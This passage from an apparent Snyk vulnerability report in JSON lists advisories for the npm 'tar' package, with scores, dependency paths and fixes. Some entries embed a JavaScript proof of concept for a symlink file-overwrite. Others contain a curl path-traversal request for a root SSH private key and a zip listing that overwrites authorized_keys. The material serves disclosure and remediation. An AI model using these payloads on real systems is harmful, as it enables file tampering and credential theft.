"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", 